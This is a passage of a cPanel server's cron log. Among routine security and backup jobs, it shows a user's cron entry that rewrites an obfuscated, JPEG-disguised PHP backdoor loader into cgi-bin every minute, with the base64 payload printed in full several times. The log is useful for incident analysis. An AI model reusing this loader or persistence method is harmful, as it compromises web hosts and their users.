k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 03:29:01 server CROND[2487]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 03:29:01 server CROND[2488]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 03:30:01 server CROND[3004]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 03:30:01 server CROND[3007]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 03:30:01 server CROND[3010]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 03:30:01 server CROND[3011]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 03:30:01 server CROND[3009]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 03:30:01 server CROND[3012]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 03:30:01 server CROND[3014]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 03:30:01 server CROND[3013]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 03:31:01 server CROND[3849]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 03:31:01 server CROND[3850]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 03:31:01 server CROND[3851]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 03:32:01 server CROND[4243]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 03:32:01 server CROND[4244]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 03:32:01 server CROND[4245]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 03:33:01 server CROND[4656]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 03:33:01 server CROND[4655]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 03:33:01 server CROND[4657]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 03:34:01 server CROND[5052]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 03:34:01 server CROND[5053]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 03:34:01 server CROND[5055]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 03:35:01 server CROND[5564]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 03:35:01 server CROND[5565]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 03:35:01 server CROND[5569]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 03:35:01 server CROND[5574]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 03:35:01 server CROND[5573]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 03:35:01 server CROND[5570]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 03:35:01 server CROND[5572]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 03:35:01 server CROND[5571]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 03:35:01 server CROND[5568]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  3 03:36:01 server CROND[6418]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 03:36:01 server CROND[6419]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 03:36:01 server CROND[6420]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 03:37:01 server CROND[6958]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 03:37:01 server CROND[6959]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 03:37:01 server CROND[6960]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 03:38:01 server CROND[7406]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 03:38:01 server CROND[7407]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 03:38:01 server CROND[7408]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 03:39:01 server CROND[7843]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 03:39:01 server CROND[7844]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 03:39:01 server CROND[7846]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  3 03:39:01 server CROND[7845]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 03:40:01 server CROND[8334]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 03:40:01 server CROND[8335]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 03:40:01 server CROND[8349]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 03:40:01 server CROND[8347]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 03:40:01 server CROND[8354]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 03:40:01 server CROND[8352]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 03:40:01 server CROND[8351]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 03:40:01 server CROND[8350]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 03:41:01 server CROND[9163]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU